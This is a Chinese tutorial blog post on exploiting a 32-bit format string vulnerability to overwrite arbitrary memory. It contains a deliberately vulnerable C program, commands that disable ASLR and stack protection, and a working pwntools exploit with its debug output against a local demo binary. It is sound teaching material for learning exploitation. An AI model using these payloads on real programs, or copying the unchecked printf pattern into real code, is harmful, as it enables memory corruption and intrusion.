-
-
[原创]32位格式化字符串漏洞实现任意地址内存覆盖
-
2021-8-10 20:13 8161
-
32位格式化字符串漏洞实现任意地址内存覆盖
原理
1 2 | int i; printf( "AAAA%n" ,&i) |
此时i=4
漏洞利用例子
比如想将2写入0xffffcd28。则构造payload"AA%15$nA"+p32(0xffffcd28),开头AA即可将地址0xffffcd28内容赋值为2,%15$n5个字节,为了实现4地址对齐,后面还要添加一个A。
如想将0x12345678写入到地址0xffffcd28。0x12345678转换为10进制会很大,采用上面的方法会覆盖掉重要的地址而出错。可以拆分成单字节覆盖。比如将0xffffcd28覆盖成0x12,将0xffffcd29覆盖成0x34,0xffffcd30覆盖成0x56,0xffffcd31覆盖成0x78.
具体步骤如下:
步骤一:使用“AAAABBBBCCCCDDDD”作为程序输入,使用gdb查看
printf的栈,AAAA,BBBB,CCCC,DDDD存储的地址和相对于格式化字符串地址的偏移。
1 | x / 20wx $esp |
步骤二:构造payload,先写AAAA,BBBB,CCCC,DDDD的地址,占16字节,然后使用4个“%要填入的值-前面已出现的字符数c%要填入地址相对于格式化字符串地址的偏移$hhn"覆盖地址。其中hhn表示写入单字节。
实验目标:将arg4修改为BBCD。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | / / fmtdemo.c #include<stdio.h> void main() { char format [ 128 ]; int arg1 = 1 ,arg2 = 0x88888882 ,arg3 = - 1 ; char arg4[ 10 ] = "ABCD" ; scanf( "%s" , format ); printf( format ,arg1,arg2,arg3,arg4); printf( "arg4的地址:%p\n" ,&arg4); printf( "arg4:%s\n" ,arg4); printf( "\n" ); } |
做实验首先要注意
1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(可能要管理员权限)
1 | echo 0 > / proc / sys / kernel / randomize_va_space |
2.编译时关闭CANARY,PIE。
1 | gcc - m32 - fno - stack - protector - no - pie fmtdemo.c - o fmt32 |
执行fmt32获取arg4的地址和格式化字符串的偏移。输入:AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
1 2 3 4 | bigeast@ubuntu:~ / Desktop / attach$ . / fmt32 AAAA. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p AAAA. 0x1 . 0x88888882 . 0xffffffff . 0xffffd1aa . 0xffffd1b4 . 0xc2 . 0x1fff . 0xf7fdf449 . 0xf63d4e2e . 0x4241daf8 . 0x4443 .(nil). 0x41414141 . 0x2e70252e . 0x252e7025 . 0x70252e70 . 0x2e70252e . 0x252e7025arg4 的地址: 0xffffd1aa arg4:ABCD |
获取到偏移为13,地址为xffffd1aa。
制作payload:B的ASCII码十进制为66,为了4字节对齐,前面多了个A,
4字节为一个参数,原本的偏移是13,多了12个字节,所以偏移变成了16.
1 2 3 4 5 6 7 8 9 10 | from pwn import * context.log_level = 'debug' file = ELF( "./fmt32" ) io = process( "./fmt32" ) payload = "A%65c%16$hhn" + p32( 0xffffd1aa ) print (payload) io.sendline(payload) io.interactive() |
执行pwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | bigeast@ubuntu:~ / Desktop / attach$ python fmt32.py [ * ] '/home/bigeast/Desktop/attach/fmt32' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x8048000 ) [ + ] Starting local process './fmt32' argv = [ './fmt32' ] : pid 3308 A % 65c % 16 $hhn\xaa��\xff [DEBUG] Sent 0x11 bytes: 00000000 41 25 36 35 63 25 31 36 24 68 68 6e aa d1 ff ff │A % 65 │c % 16 │$hhn│····│ 00000010 0a │·│ 00000011 [ * ] Switching to interactive mode [ * ] Process './fmt32' stopped with exit code 10 (pid 3308 ) [DEBUG] Received 0x6c bytes: 00000000 41 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │A │ │ │ │ 00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000040 20 01 aa d1 ff ff 61 72 67 34 e7 9a 84 e5 9c b0 │ ···│··ar│g4··│····│ 00000050 e5 9d 80 ef bc 9a 30 78 66 66 66 66 64 31 61 61 │····│·· 0x │ffff│d1aa│ 00000060 0a 61 72 67 34 3a 42 42 43 44 0a 0a │·arg│ 4 :BB│CD··│ 0000006c A \xaa��\xffarg4的地址: 0xffffd1aa arg4:BBCD [ * ] G |
成功修改
若想写入0x123456789,则要按文章一开始的办法,若按以下payloadpayload = "%305419896c%17$n"+p32(0xffffd1aa),会输出305419896个字符,输不完,程序会卡住。
剩下的疑问:如果是64位的程序想写入0x123456789要如何做呢?
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。